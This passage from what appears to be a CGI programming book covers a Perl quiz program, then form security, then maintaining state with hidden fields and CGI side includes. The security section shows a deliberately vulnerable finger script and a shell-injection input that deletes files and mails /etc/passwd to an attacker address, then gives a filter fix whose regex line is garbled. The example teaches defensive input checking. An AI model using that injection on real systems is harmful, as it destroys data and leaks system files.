        $info =~ s/<\s*$tag\s*([^>]+)>/$1$separator/ig;
        $info = join("$separator", $first, $info);

Before we discuss the parsing details, let's look at a simple collection of <RESPONSE> tags to illustrate some points. Everything we discuss will also apply to the <CHOICE> tag as well.

<RESPONSE key1>value1</RESPONSE>
<RESPONSE key2>value2</RESPONSE>
<RESPONSE key3>value3</RESPONSE>

The regular expression parses through the string and stores the first parameter, or "key1", in the first variable. And the string starting from "value1" till the last </RESPONSE> tag is stored in the info variable. This is why all the <RESPONSE> tags have to be grouped together in the data file. The substitute command replaces each <RESPONSE key> string with the key value and the separator (defined to be octal 34). Finally, the string stored in info is joined to the first key, and stored again in info. This is very important! If the first key is not stored, it will be lost, because the regular expression stores everything in a response block (i.e., <RESPONSE key1> to the last </RESPONSE>). Now, info will contain:

key1\034value1</RESPONSE>
key2\034value2</RESPONSE>
key3\034value3</RESPONSE>

The subroutine continues:

    } else {
        ($info) = ($line =~ /<\s*$tag\s*>(.*)<\s*\/$tag\s*>/i);
        $info =~ s/<\s*$tag\s*>//ig;
    }

This else construct will be executed for <HINT> tags. The regular expression works the same way as the previous one, except that <HINT> tags do not contain extra parameters. As a result, no extra precautions need to be taken to store those parameters.

    @multiple = split(/<\s*\/$tag\s*>/i, $info);

The split command separates the string in info with the </RESPONSE> delimiter. After this command, the array would look like this:

$multiple[0] = key1\034value1
$multiple[1] = key2\034value2
$multiple[2] = key3\034value3

Other procedures--print_radio_buttons and split_responses--split the string on the "\034" delimiter to access the key and value separately. Since the <HINT> tags do not contain extra parameters, the array would look like this:

$multiple[0] = hint1
$multiple[1] = hint2
$multiple[2] = hint3

There is no need to split the values in the array further.

    for ($loop=0; $loop <= $#multiple; $loop++) {
        $multiple[$loop] =~ s/^\s*(.*)\b\s*$/$1/;
    }
}

Finally, leading and trailing spaces are removed from each element in the array.

The print_radio_buttons subroutine outputs form elements to create radio buttons for multiple-choice questions.

sub print_radio_buttons
{
    local (*buttons) = @_;
    local ($loop, $letter, $value, $checked, $user_answer);
    if ($QUIZ{'cgi_quiz_form'}) {
        $user_answer = $QUIZ{$variable};
    }

The user_answer variable exists only when the quiz is submitted. You might have noticed that user_answer was defined earlier in the program. Why is it being defined again? In the main program, the variable is declared after the print_radio_buttons subroutine is called. As a result, the variable is not available to this subroutine.

    for ($loop=0; $loop <= $#buttons; $loop++) {
        ($letter, $value) = split(/$separator/, $buttons[$loop], 2);
        $letter =~ s/^\s*(.*)\b\s*$/$1/;
        $value =~ s/^\s*(.*)\b\s*$/$1/;

The loop iterates through each element of the array, which is stored in the following format:

key1\034value1

Each element is split into a separate key and value. Leading and trailing spaces are removed from the key and value separately. You might wonder why this has to be done, considering that the split_multiple subroutine already removed leading and trailing spaces from each element. The reason is that the key and value, once separated, might have their own leading and trailing spaces.

        if ($user_answer eq $letter) {
            $checked = "CHECKED";
        } else {
            $checked = "";
        }
        print <<Radio_Button;
<INPUT TYPE="radio" NAME="$variable" VALUE="$letter" $checked>
$value<BR>
Radio_Button
    }
}

When the quiz is submitted, the program checks the answers, and displays the same quiz with the user's original answers, along with right/wrong messages. If the user's answer matches one of the choices, the CHECKED attribute is specified. As a result, the user-selected radio button--or multiple choice--is "checked."

The print_text_field subroutine displays a text field for fill-in-the-blank questions. Again, the information that the user typed is displayed if the program is in correction mode.

sub print_text_field
{
    local ($default);
    if ($QUIZ{'cgi_quiz_form'}) {
        $default = $QUIZ{$variable};
    } else {
        $default = "";
    }
    print <<Text_Field;
<INPUT TYPE="text" NAME="$variable" SIZE=50 VALUE="$default"><BR>
Text_Field
}

The print_hints subroutine contains a loop that iterates through the array, and displays each element as an unordered list in HTML.

sub print_hints
{
    local (*list) = @_;
    local ($loop);
    print "<UL>", "\n";
    for ($loop=0; $loop <= $#list; $loop++) {
        print <<Unordered_List;
<LI>$list[$loop]
Unordered_List
    }
    print "</UL>", "\n";
}

The split_responses subroutine splits all of the responses stored in the array to create a key and a value.

sub split_responses
{
    local (*all, *index, *message) = @_;
    local ($loop, $key, $value);
    for ($loop=0; $loop <= $#all; $loop++) {
        ($key, $value) = split(/$separator/, $all[$loop], 2);
        &format_string(*key);
        $value =~ s/^\s*(.*)\b\s*$/$1/;

        $index{$key} = $key;
        $message{$key} = $value;
    }
}

The format_string subroutine is called to "format" the key. Leading and trailing spaces are removed from the value. Two associative arrays are created: one to store the key and the other to store the value. Both arrays are indexed by the key.

The print_form_footer subroutine generates the end of the form.

sub print_form_footer
{
    if (!$QUIZ{'cgi_quiz_form'}) {
        print '<INPUT TYPE="submit" VALUE="Submit Quiz">';
        print '<INPUT TYPE="reset"  VALUE="Clear Answers">';
    } else {
            print <<Status;
Results: $no_correct Correct -- $no_wrong Wrong -- $no_skipped Skipped<BR>
Status
    }
    print "</FORM>";
}

If the program is in question mode, the Reset and Submit buttons are displayed. Otherwise, the results of the quiz are output. The buttons are not displayed, because you do not want the user to submit a quiz that has the answers! Finally, the </FORM> tag is output.

Believe it or not, we're now finished with the quiz program. This example truly illustrates the power of CGI and forms to create an interactive environment.

Previous | Home | Next
Survey/Poll and Pie Graphs | Book Index | Security
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] 7.4 Security

CGI Programming on the World Wide Web

Previous Chapter 7
Advanced Form Applications 		Next

7.4 Security

When dealing with forms, it is extremely critical to check the data. A malicious user can embed shell metacharacters--characters that have special meaning to the shell--in the form data. For example, here is a form that asks for user name:

<FORM ACTION="/cgi-bin/finger.pl" METHOD="POST">
<INPUT TYPE="text" NAME="user" SIZE=40>
<INPUT TYPE="submit" VALUE="Get Information">
</FORM>

Here is the program to handle the form:

#!/usr/local/bin/perl
&parse_form_data(*simple);
$user = $simple{'user'};

The parse_form_data subroutine is the same as the one we've been using throughout the book.

print "Content-type: text/plain", "\n\n";
print "Here are the results of your query: ", "\n";
print `/usr/local/bin/finger $user`;

In Perl, you can execute shell commands by using the `command ` notation. In this case, the finger command is executed with the information specified by the user.

print "\n";
exit (0);

This is an extremely dangerous program! Do not use it! Imagine if a malicious user entered the following as the value of user:

; rm * ; mail -s "Ha Ha" malicious@crack.net < /etc/passwd

This would not only remove all the files in the current directory, but it would also mail the /etc/passwd file on your system to the malicious user. In order to avoid this type of problem, you should check the form value before placing it on the command line. Here is the modification of the previous program:

#!/usr/local/bin/perl
&parse_form_data(*simple);
$user = $simple{'user'};
if ($user =~ /[;><&\*`\]/) {\n    [amp   ]\|return_error (500, "CGI Program Alert", "What are you trying to do?");
} else {
    print "Content-type: text/plain", "\n\n";
    print "Here are the results of your query: ", "\n";
    print `/usr/local/bin/finger $user`;
    print "\n";
}
exit (0);

In this safer version, the user information is checked for the following metacharacters:

; > < & * ` |

If the information contains any one of these characters, a serious error is returned. Otherwise, the program returns the information from the finger command.

Previous | Home | Next
Quiz/Test Form Application | Book Index | Multiple Form Interaction
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] Multiple Form Interaction

CGI Programming on the World Wide Web

Previous Chapter 8 Next

8. Multiple Form Interaction

Contents:
Hidden Fields
CGI Side Includes
Netscape Persistent Cookies

One of the problems with the current HTTP protocol is its inability to maintain state. In other words, the protocol provides no way to access data from previous requests.

Imagine an ordering (or "shopping cart") system on the Web. You present the user with several forms listing the numerous products that can be ordered. The system keeps track of what the user ordered. Finally, it displays all of the user's selections. This type of system needs to somehow store the information--or "state"--so that it can be accessed at a later time.

For example, suppose you ask the user for his or her address in the first form. If you need this information in a later form, you don't want to ask all over again. Instead, you want to find a way for that address to be accessible to a later form, but transparent to the user. This is the most basic problem of using multiple forms--maintaining "state" from one form to another--and thus deserves special attention in this book.

There are several different strategies we'll explore for maintaining state. They include:

  • Hidden fields. Using hidden fields, you can embed information into a form that the user won't see, but which will be sent back to the CGI program when the form is submitted.

  • CGI Side Includes. This is a mechanism by which we embed special tags into the HTML document that pass CGI variables invisibly.

  • Netscape Persistent Cookies. The Netscape browser supplies a method for storing and retrieving information via CGI.

In Chapter 10, Gateways to Internet Information Servers, we also discuss a fourth approach, which is to develop a specialized "cookie server" to maintain information associated with a single user. In this chapter, however, we'll restrict ourselves to the more straightforward mechanisms.

8.1 Hidden Fields

As mentioned in Chapter 4, Forms and CGI, hidden fields allow you to store "hidden" information within a form. These fields are not displayed by the client. However, if the user selects the "View Source" option in the browser, the entire form is visible, including the hidden fields. Hidden fields are therefore not meant for security (since anyone can see them), but just for passing information to and from forms transparently.

Here is an example of two hidden fields that store author information within a form:

<FORM ACTION="/cgi-bin/test.pl" METHOD="POST">
.
.
<INPUT TYPE="hidden" NAME="author"  VALUE="Larry Bird">
<INPUT TYPE="hidden" NAME="company" VALUE="Boston Celtics">
.
.
</FORM>

When the form is submitted, the information within the hidden fields is encoded, as the client passes all the fields to the server in the same exact manner. As far as the CGI program is concerned, there is no difference between hidden fields and regular, visible fields.

One thing to note is that certain browsers may not be able to handle hidden fields correctly.

AOA simple way to use hidden fields for maintaining state involves writing the information from a form as hidden field information into its successive form. Here is a simple first form:

<FORM ACTION="/cgi-bin/test.pl" METHOD="POST">
Name: <INPUT TYPE="text"  NAME="01 Full Name" SIZE=40>
<BR>
EMail: <INPUT TYPE="text" NAME="02 EMail" SIZE=40>
<BR>
<INPUT TYPE="submit" VALUE="Submit the survey">
<INPUT TYPE="reset"  VALUE="Clear all fields">
</FORM>

When this form is submitted, the program retrieves the information and creates a dynamic second form, based on the first form, like this:

<FORM ACTION="/cgi-bin/test.pl" METHOD="POST">
<INPUT TYPE="hidden" NAME="01 Full Name" VALUE="Shishir Gundavaram">
<INPUT TYPE="hidden" NAME="02 EMail" VALUE="shishir@acs.bu.edu">
What is your favorite WWW browser?
<BR>
Browser: <INPUT TYPE="text" NAME="03 Browser" SIZE=40>
<BR>
<INPUT TYPE="submit" VALUE="Submit the survey">
<INPUT TYPE="reset"  VALUE="Clear all fields">
</FORM>

As you can see, the two fields, along with the user information, are inserted into the second form. The main advantage of such a process is that there is no need for magic cookies and temporary files. On the other hand, the disadvantage is that the form information is appended repeatedly to successive forms, creating large forms. This could result in possible performance problems.

Let's look at an example using this technique. Here is the first form:

<HTML>
<HEAD><TITLE>Welcome to the CGI Shopping Cart</TITLE></HEAD>
<BODY>
<H1>CGI Shopping Cart</H1>
Welcome! Thanks for stopping by the CGI Shopping Cart. Here is a list
of some of our products. We hope you like them, and please visit again.
<FORM ACTION="/cgi-bin/shopping.pl/catalog.html" METHOD="POST">
<HR>
What is your full name: <BR>
<INPUT TYPE="text" NAME="01 Full Name" SIZE=40>
<P>
What is your e-mail address: <BR>
<INPUT TYPE="text" NAME="02 Email" SIZE=40>
<P>
<INPUT TYPE="submit" VALUE="Submit and Retrieve Catalog">
<INPUT TYPE="reset"  VALUE="Clear all fields">
</FORM>
</BODY></HTML>

The most important thing to note here is the extra path information passed to the program. This filename represents the next form to be displayed. The two fields in this form will be "hidden" in /catalog.html. Now, here is the second form:

<HTML>
<HEAD><TITLE>Welcome to the CGI Shopping Cart</TITLE></HEAD>
<BODY>
<H1>CGI Shopping Cart</H1>
Thanks for visiting our server. Here is a catalog of some of our books.
Make your selections and press the submit buttons. Note: multiple
selections are allowed.
<HR>
<FORM ACTION="/cgi-bin/shopping.pl" METHOD="POST">
<H2>Books on Networking</H2>
<SELECT NAME="03 Networking Books" SIZE=3 MULTIPLE>
<OPTION SELECTED>Managing Internet Information Services
<OPTION>TCP/IP Network Administration
<OPTION>Linux Network Administrator's Guide
<OPTION>Managing UUCP and Usenet
<OPTION>The USENET Handbook
</SELECT>
<HR>
<H2>UNIX related Books</H2>
<SELECT NAME="04 UNIX Books" SIZE=3 MULTIPLE>
<OPTION SELECTED>Learning the UNIX Operating System
<OPTION>Learning the Korn Shell
<OPTION>UNIX Power Tools
<OPTION>Learning Perl
<OPTION>Programming Perl
<OPTION>Learning the GNU Emacs
</SELECT>
<INPUT TYPE="submit" VALUE="Submit the selection">
<INPUT TYPE="reset"  VALUE="Clear all fields">
</FORM>
</BODY></HTML>

The ACTION attribute does not contain extra path information. This represents the last form in the "shopping cart." Also note the fact that there is a scrolled list that allows multiple selections. The program displays any form element that has multiple selection in a unique way.

The program begins as follows:

#!/usr/local/bin/perl
$webmaster = "shishir\@bu\.edu";
$document_root = "/home/shishir/httpd_1.4.2/public";
$request_method = $ENV{'REQUEST_METHOD'};
$form_file = $ENV{'PATH_INFO'};
$full_path = $document_root . $form_file;
$exclusive_lock = 2;
$unlock = 8;
if ($request_method eq "GET") {
    if ($form_file) {
        &display_file ();
    } else {
        &return_error (500, "CGI Shopping Cart Error",
                            "An initial form must be specified.");
    }

If the program was requested with the GET protocol and extra path information, the display_file subroutine is called to output the form. The program should be accessed with the following URL:

http://your.machine/cgi-bin/shopping.pl/start.html

where /start.html represents the first form. If no path information is specified, an error message is returned.

} elsif ($request_method eq "POST") {
    &parse_form_data (*STATE);
    if ($form_file) {
        &parse_file ();
    } else {
        &thank_you ();
    }

If extra path information is passed to this program with the POST method, the parse_file subroutine is invoked. This subroutine inserts the information from the previous form(s) into the current form as hidden fields. Remember, the form information is stored in the STATE associative array. On the other hand, if no path information is specified, it is the end of the data collection process. The thank_you subroutine displays the information from all the forms.

} else {
    &return_error (500, "Server Error",
                        "Server uses unsupported method");
}
exit (0);

The display_file subroutine simply outputs the first form to standard output.

sub display_file
{
    open (FILE, "<" . $full_path) ||
        &return_error (500, "CGI Shopping Cart Error",
            "Cannot read from the form file [$full_path].");
    flock (FILE, $exclusive_lock);
    print "Content-type: text/html", "\n\n";
    while (<FILE>) {
        print;
    }
    flock (FILE, $unlock);
    close (FILE);
}

The parse_file subroutine inserts information from previous forms into the current form, as hidden fields.

sub parse_file
{
    local ($key, $value);
    open (FILE, "<" . $full_path) ||
        &return_error (500, "CGI Shopping Cart Error",
            "Cannot read from the form file [$full_path].");
    flock (FILE, $exclusive_lock);
    print "Content-type: text/html", "\n\n";
    while (<FILE>) {
        if (/<\s*form\s*.*>/i) {
            print;
            foreach $key (sort (keys %STATE)) {
                $value = $STATE{$key};
                print <<End_of_Hidden;
<INPUT TYPE="hidden" NAME="$key" VALUE="$value">
End_of_Hidden
            }

The file specified by PATH_INFO is opened. The while loop iterates through the file one line at a time. The regular expression checks for the <FORM> tag within the document. If it is found, the line containing the tag is displayed. Also, the foreach construct iterates through all of the key-value form pairs, and outputs a hidden field for each one.

        } else {
            print;
        }
    }

If the <FORM> tag is not found, the line from the file is output verbatim.

    flock (FILE, $unlock);
    close (FILE);
}

The thank_you subroutine thanks the user and displays the data he or she selected.

sub thank_you
{
    local ($key, $value, @all_values);
    print <<Thanks;
Content-type: text/html
<HTML>
<HEAD><TITLE>Thank You!</TITLE></HEAD>
<BODY>
<H1>Thank You!</H1>
Thank you again for using our service. Here are the items
that you selected:
<HR>
<P>
Thanks

This subroutine formats and displays the information stored in the STATE associative array, which represents the combined data from all the forms.

    foreach $key (sort (keys %STATE)) {
        $value = $STATE{$key};
        $key =~ s/^\d+\s//;
        if ($value =~ /\0/) {
            print "<B>", $key, "</B>", "<BR>", "\n";
            $value =~ s/\0/<BR>\n/g;
            print $value, "<BR>", "\n";

If a particular value contains a null string, it is replaced with " <BR>" followed by a newline character. As a result, the multiple values are displayed properly.

        } else {
            print $key, ": ", $value, "<BR>", "\n";
        }
    }
    print "<HR>", "\n";
    print "</BODY></HTML>", "\n";
}

The parse_form_data subroutine is similar to the one used in the "survey" program above, except it does not handle any query information.

sub parse_form_data
{
    local (*FORM_DATA) = @_;

    local ($query_string, @key_value_pairs, $key_value, $key, $value);

    read (STDIN, $query_string, $ENV{'CONTENT_LENGTH'});
    @key_value_pairs = split (/&/, $query_string);
    foreach $key_value (@key_value_pairs) {
        ($key, $value) = split (/=/, $key_value);
        $key   =~ tr/+/ /;
        $value =~ tr/+/ /;
        $key   =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;
        $value =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;
        if (defined($FORM_DATA{$key})) {
            $FORM_DATA{$key} = join ("\0", $FORM_DATA{$key}, $value);
        } else {
            $FORM_DATA{$key} = $value;
        }
    }
}

Previous | Home | Next
Security | Book Index | CGI Side Includes
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 8] 8.2 CGI Side Includes

CGI Programming on the World Wide Web

Previous Chapter 8
Multiple Form Interaction 		Next

8.2 CGI Side Includes

Using hidden fields is probably the simplest way to maintain information across multiple CGI instances. But it is far from the most efficient.

In this next example of maintaining state, we embed special codes into HTML documents that resemble Server Side Includes (see Chapter 5, Server Side Includes, for more information on Server Side Includes). These codes are actually parsed by a CGI program which uses the codes to maintain information across several documents. This algorithim is best illustrated via example.

Let's create a multiple survey form system. Here is the first form of the survey:

<HTML>
<HEAD><TITLE>Television/Movie Survey</TITLE></HEAD>
<BODY>
<H1>Welcome to the CGI Network!</H1>
<HR>
In order to better serve you, we would like to know what type of
movies and variety shows you like to watch on TV. Over the last couple
of years, you, the viewers, were directly responsible for the lasting
success of many of our shows. Your comments are extremely valuable to
us, so please take a few moments to fill out a survey.
<P>
The current time is: <!--#insert var="DATE_TIME"--><BR>

At first glance, the construct in the last line displayed above looks like a Server Side Include. However, it is not! This document first gets parsed by a CGI program that looks for statements like these and replaces them with appropriate information. Let's refer to these statements as CGI Side Includes ( CSIs), or "pseudo" Server Side Includes. In this case, the program will insert the current date and time.

You may ask, what is the advantage of such a process? It allows you to insert dynamic information in otherwise static documents. Another alternative to this would be to place the information contained within the document in the program, such as:

print <<End_of_Form;
<HTML>
<HEAD><TITLE>Sample Form</TITLE></HEAD>
<BODY>
<H1>This is a test of a sample form</H1>
The current time is: $date_time
<HR>
.
.
.
</BODY></HTML>
End_of_Form

As you can see, this can be quite cumbersome, especially if the document is large. Now, let's proceed with the rest of the form.

<HR>
<FORM ACTION="/cgi-bin/survey.pl?
                 cgi_cookie=<!--#insert var="COOKIE"-->&
                 cgi_form_num=<!--#insert var="NUMBER"-->" METHOD="POST">

As in other examples in this book, a query is passed to the program as part of the ACTION attribute. Notice the two CSI statements in the <FORM> tag. The first one inserts a random number--also referred to as a magic cookie--for identification purposes, and the second one inserts the form number. A cookie is needed to store the information from the various forms in a unique data file. This cookie is passed to each and every form, so that the form data is appended to the same data file. A form number is needed to keep track of the various forms. We will discuss these statements in detail later in this chapter.

<PRE>
Full Name: <INPUT TYPE="text" NAME="01 Full Name" SIZE=40>
E-Mail:    <INPUT TYPE="text" NAME="02 EMail Address" SIZE=40>

The field names are prefixed with numbers, so that they can be sorted. This makes it possible to store the form data in the order in which it is displayed in the form. Remember, you do not need to encode the field names, as the browser will do so before it submits the information to the server.

</PRE>
<P>
Which survey would you like to fill out: <BR>
<INPUT TYPE="radio" NAME="cgi_survey" VALUE="Television" CHECKED>Television<BR>
<INPUT TYPE="radio" NAME="cgi_survey" VALUE="Movie">Movies<BR>
<P>
<INPUT TYPE="submit" VALUE="Submit the survey">
<INPUT TYPE="reset"  VALUE="Clear all fields">
</FORM>
<HR>
</BODY></HTML>

The document is passed to the CGI program as extra path information. For example, if you want the program to parse the CSI statements and display the form, the following URL should be used:

http://your.machine/survey.pl/start_survey.html

where the file "/start_survey.html" contains the first form of the survey. In the context of this example, if the user opts to fill out the "Television" survey, the following two forms are displayed, one after the other:

<HTML>
<HEAD><TITLE>Television/Movie Survey</TITLE></HEAD>
<BODY>
<H1>Television Survey</H1>
<HR>
Welcome! We are glad that you have decided to fill out our
television survey. Please read all questions carefully. When you are finished,
press the Submit button for Part 2 of the survey.
<P>
The current time is: <!--#insert var="DATE_TIME"--><BR>

The date and time are inserted into the form using CGI side includes.

<HR>
<FORM ACTION="/cgi-bin/survey.pl?cgi_cookie=<!--#insert var="COOKIE"-->&cgi_survey=<!--#insert var="SURVEY"-->&cgi_form_num=<!--#insert var="NUMBER"-->" METHOD="POST">

The variable "SURVEY" inserts the user-selected survey type, either "Television" or "Movie." The survey type is retrieved from the information submitted by the user in the first form. This ensures that the correct series of forms are displayed.

What is your favorite comedy show?
<BR>
<INPUT TYPE="radio" NAME="03 Comedy Show" VALUE="Single Web Dude">Single Web Dude<BR>
<INPUT TYPE="radio" NAME="03 Comedy Show" VALUE="Gateway Friends">Gateway Friends<BR>
<INPUT TYPE="radio" NAME="03 Comedy Show" VALUE="Mad About CGI" CHECKED>Mad About CGI<BR>
<INPUT TYPE="radio" NAME="03 Comedy Show" VALUE="Web Time">Web Time<BR>
<P>
Who is your favorite actor in a comedy show?
<BR>
<INPUT TYPE="radio" NAME="04 TV Comedian" VALUE="John Riser" CHECKED>John Riser<BR>
<INPUT TYPE="radio" NAME="04 TV Comedian" VALUE="Jake LeBlanc">Jake LeBlanc<BR>
<INPUT TYPE="radio" NAME="04 TV Comedian" VALUE="Mike Cosby">Mike Cosby<BR>
<INPUT TYPE="radio" NAME="04 TV Comedian" VALUE="Marc Allen">Marc Allen<BR>
<P>
<INPUT TYPE="submit" VALUE="Submit the survey">
<INPUT TYPE="reset"  VALUE="Clear all fields">
</FORM>
<HR>
</BODY></HTML>

The field names are prefixed with numerical values. Notice the long, descriptive names for the field names and values. This allows us to simply retrieve the names and values, decode them, and print them out.

Now, here is the second, and final, form in the "Television" survey:

<HTML>
<HEAD><TITLE>Television/Movie Survey</TITLE></HEAD>
<BODY>
<H1>Televison Survey</H1>
<HR>
Thanks for filling out Part 1 of our TV survey. Here is
Part 2... Again, please read all questions carefully. When you are finished,
press the Submit button to wrap up the survey.
<P>
The current time is: <!--#insert var="DATE_TIME"--><BR>
<HR>
<FORM ACTION="/cgi-bin/survey.pl?cgi_cookie=<!--#insert var="COOKIE"-->&cgi_survey=<!--#insert var="SURVEY"-->&cgi_form_num=<!--#insert var="NUMBER"-->" METHOD="POST">
What is your favorite action/drama show?
<BR>
<INPUT TYPE="radio" NAME="05 TV Drama" VALUE="Masquerade on the Web">Masquerade on the Web<BR>
<INPUT TYPE="radio" NAME="05 TV Drama" VALUE="Gateway Voyager">Gateway Voyager<BR>
<INPUT TYPE="radio" NAME="05 TV Drama" VALUE="EH" CHECKED>EH - Emergency HTTP Server<BR>
<INPUT TYPE="radio" NAME="05 TV Drama" VALUE="W3C Hope">W3C Hope<BR>
<P>
Who is your favorite actor in an action/drama show?
<BR>
<INPUT TYPE="radio" NAME="06 TV Drama Actor" VALUE="Bill Wyle" CHECKED>Bill Wyle<BR>
<INPUT TYPE="radio" NAME="06 TV Drama Actor" VALUE="John Clooney">John Clooney<BR>
<INPUT TYPE="radio" NAME="06 TV Drama Actor" VALUE="Mike Strauss">Mike Strauss<BR>
<INPUT TYPE="radio" NAME="06 TV Drama Actor" VALUE="Eric Wagner">Eric Wagner<BR>
<P>
<INPUT TYPE="submit" VALUE="Submit the survey">
<INPUT TYPE="reset"  VALUE="Clear all fields">
</FORM>
<HR>
</BODY></HTML>

The two forms for the "Movie" survey are set up in the same manner as the ones illustrated above. Let's look at the program:

#!/usr/local/bin/perl
$exclusive_lock = 2;
$unlock = 8;
$request_method = $ENV{'REQUEST_METHOD'};
$webmaster = "shishir\@bu\.edu";
$document_root = "/home/shishir/httpd_1.4.2/public";
$survey_dir = "/tmp/";

The variable survey_dir contains the directory where the data files are stored. Whenever you are creating temporary files, you should store them in /tmp or /var/tmp, as these directories are cleaned out every few days.

@Television_files = ( "/tv_1.html", "/tv_2.html" );
@Movie_files = ( "/movie_1.html", "/movie_2.html" );

These two arrays store the HTML survey files that must be parsed for CSI statements. The most important thing to note here is the way the variables are labeled. The first part of the variable name--before the "_" character--corresponds to the value of the cgi_survey field in the initial form. The program determines the survey type chosen by the user--either "Television" or "Movie"--and concatenates that string with "_files" and evaluates the total string at run-time to determine the next survey file.

if ($request_method eq "GET") {
    $form_num = 0;
    $type = "start";
    $form_file = $ENV{'PATH_INFO'};

Using the GET method indicates that the user requested the starting form, which will be stored in PATH_INFO. The form_num variable indicates the current form number. In this case, zero indicates the starting form.

The type variable is set to "start". However, this value is never used because there is no corresponding CSI in the initial form. It is just defined for clarity. Remember, the manner in which the starting form must be accessed is a GET request:

http://your.machine/cgi-bin/survey.pl/start_survey.html

After the first form is submitted, the server will execute this program with a POST request and an additional query. The process is repeated for all the forms in the survey.

    if ($form_file) {
        $cookie = join ("_", $ENV{'REMOTE_HOST'}, time);
        $cookie = &escape($cookie);
        &pseudo_ssi ($form_file, $cookie, $type, $form_num);
    } else {
        &return_error (500, "CGI Network Survey Error",
                        "An initial survey form must be specified.");
    }

Since the starting form was accessed, a new cookie has to be created. This cookie is simply the client's host address concatenated with the current time. Perl's time command returns the current time as the number of seconds since 1970. This ensures that every user has a different cookie.

The escape subroutine encodes the cookie string for insertion into the form. Finally, the pseudo_ssi subroutine reads and parses the file specified by the variable form_file for CSI statements. The three parameters that are passed to the subroutine are the new cookie, the dummy form type, and the form number. If corresponding CSI statements are found, the values stored in these variables will be inserted appropriately.

} elsif ($request_method eq "POST") {
    &parse_form_data(*STATE);
    $form_num = $STATE{'cgi_form_num'};
    $type = $STATE{'cgi_survey'};
    $cookie = $STATE{'cgi_cookie'};

The form information is retrieved and stored in the STATE associative array. The parse_form_data subroutine is slightly different than the one used in the previous examples; it decodes the form field name, as well as the value.

Once the initial form is submitted, form_num variable equals zero, type contains either "Television" or "Movie," and cookie holds a string that uniquely identifies a user. After the initial form, all the other forms will have the same cookie and type information. However, the form_num variable will be incremented.

    if ( ($type eq "Television") || ($type eq "Movie") ) {

This conditional is executed if the user chose to fill out either a television or movie survey. Since one of the values is checked by default on the form, this variable will have to contain either "Television" or "Movie." However, if someone accesses this program by bypassing the starting form, and specifies something other than these two values, an error message is displayed.

        $limit = eval ("scalar (\@${type}_files)");

This run-time evaluation is very important. It uses Perl's scalar function to determine the number of elements in the array that corresponds to the value stored in the variable type. Here is a simple example of scalar :

@test = (1, 2, 3);
$number = scalar (@test);

The variable number returns 3 to indicate the existence of three elements.

             if ( ($form_num >= 0) && ($form_num <= $limit) ) {
            &write_data_to_file();

If the form number is within the limits, the write_data_file subroutine is called to write the form information to a data file. Remember, the same data file is used throughout the whole process. On the other hand, if a user bypasses the forms, and tries to pass a form number that is not within the limits, an error message is displayed.

            if ($form_num == $limit) {
                &survey_over();

If the form is the last one in the survey, the survey_over subroutine is called to display the information stored in the data file. It also deletes the data file.

            } else {
                $form_file = eval("\$${type}_files[$form_num]");
                $form_num++;
                $cookie = &escape($cookie);
                &pseudo_ssi ($form_file, $cookie, $type,
                             $form_num);
            }

Again, a run-time evaluation is performed to retrieve the name of the next file in the survey. If these two run-time evals were not used, then two separate blocks of code have to be written: one to handle the television survey, and the other to handle the movie survey. It is more much efficient to do it this way.

The form number is incremented, and the cookie value is encoded. The subroutine pseudo_ssi is called to parse the form file.

        } else {
                &return_error (500, "CGI Network Survey Error",
                    "You have somehow selected an invalid form!");
        }
    } else {
        &return_error (500, "CGI Network Survey Error",
                "You have selected an invalid survey type!");
    }
} else {
    &return_error (500, "Server Error",
                        "Server uses unsupported method");
}
exit(0);

If the user somehow passed invalid information to the program, error messages are returned.

Now for the subroutines. The pseudo_ssi subroutine parses the CSI statements.

sub pseudo_ssi
{
    local ($file, $id, $kind, $number) = @_;
    local ($command, $argument, $parameter, $line);
    $file = $document_root . $file;
    open (FILE, "<" . $file) ||
        &return_error (500, "CGI Network Survey Error",
            "Cannot open: form [$number], file [$file].");
    flock (FILE, $exclusive_lock);

The subroutine tries to open the specified file. An error message is returned if the operation fails.

    print "Content-type: text/html", "\n\n";
    while (<FILE>) {
        while ( ($command, $argument, $parameter) =
            (/<!--\s*#\s*(\w+)\s+(\w+)\s*=\s*"?(\w+)"?\s*-->/io) ) {

The initial loop iterates through each line in the file, and stores it in the default variable $_. The second loop uses a regular expression to check for a CSI statement within the file. Here is the format for the CSI statement:

<!--#command argument="parameter"-->

Whitespace is ignored, and the quotation marks around the parameter are optional. This is in great contrast to SSI statements, where a strict format is enforced.

            if ($command eq "insert") {
                if ($argument eq "var") {
                    if ($parameter eq "COOKIE") {
                        s//$id/;
                    } elsif ($parameter eq "DATE_TIME") {
                        local ($time) = &get_date_time();
                        s//$time/;
                    } elsif ($parameter eq "NUMBER") {
                        s//$number/;
                    } elsif ($parameter eq "SURVEY") {
                        s//$kind/;
                    } else {
                        s///;
                    }
                } else {
                    s///;
                }
            } else {
                s///;
            }
        }

        print;
    }

This block might look very confusing, but it is quite simple. This program only supports the insert command and the var argument. However, four parameters are allowed: COOKIE, DATE_TIME, NUMBER, and SURVEY.

Notice the strange substitute command. The initial string to substitute is not specified. Usually, the format of the substitute command looks like this:

s/initial/replacement/;

Perl will work on the default variable $_. However, if no initial string is specified, Perl automatically uses the last matched regular expression. This just so happens to be the CSI statement that matched earlier. This is a good trick in Perl, because it is very efficient.

The subroutine simply checks to see the parameter of the CSI, and replaces the information appropriately. The get_date_time subroutine is the same as the one used previously. If the command, argument, or parameter specified in the file does not match the ones listed, the substitute command is used to remove the CSI statement. Note the following format:

s///;

Perl replaces the last matched regular expression with a null string. It is very important to remove these unmatched CSI statements, or else the enclosing while loop will run forever. The reason for this is that the loop repeatedly checks for CSI statements.

Finally, the modified line is output. A print command without any parameters outputs the default variable $_.

    flock (FILE, $unlock);
    close (FILE);
}

Before we quit the subroutine, the file is unlocked and closed.

The write_data_to_file subroutine opens the data file and incorporates the survey results into it.

sub write_data_to_file
{
    local ($key, $temp_key);
    open (FILE, ">>" . $survey_dir . $cookie) ||
                    &return_error (500, "CGI Network Survey Error",
                        "Cannot write to a data file to store your info.");
    if ($form_num == 0) {
        print FILE $STATE{'cgi_survey'}, " Survey Filled Out", "\n";
    }

